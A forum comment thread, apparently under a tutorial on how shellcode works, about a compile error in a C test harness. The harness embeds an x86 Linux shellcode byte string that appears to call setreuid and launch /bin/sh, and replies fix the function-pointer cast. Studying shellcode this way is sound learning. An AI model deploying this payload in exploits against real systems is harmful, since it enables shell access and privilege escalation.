Article:
  How Shellcodes Work
Subject:   Problem compiling c example.
Date:   2006-05-22 07:25:54
From:   Kza
First C example:
char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";


main() {
int (*shell)();
(int)shell = code;
shell();
}


Gives compiler error:
shellApp.c: In function ‘main’:
shellApp.c:9: error: invalid lvalue in assignment

Main Topics Oldest First

Showing messages 1 through 2 of 2.

  • Problem compiling c example.
    2008-08-16 16:00:04  lwante [View]

    What gryzlo said is wrong... the problem here is that you are trying to cast and lvalue(left value) which is illegal. The solution is going to be casting the variable code on the line. Try this:

    shell = (int(*)()) code;

    What we are doing is here casting code to be a function pointer which returns an integer... in effect will eventually allows us to execute our "shellcode". I suggest reading "Smashing the Stack for fun and profit" by Aleph1 one.
  • Problem compiling c example.
    2006-05-22 12:56:19  gryzlo [View]

    Try another compiler, other than plain ISO C (gcc works well).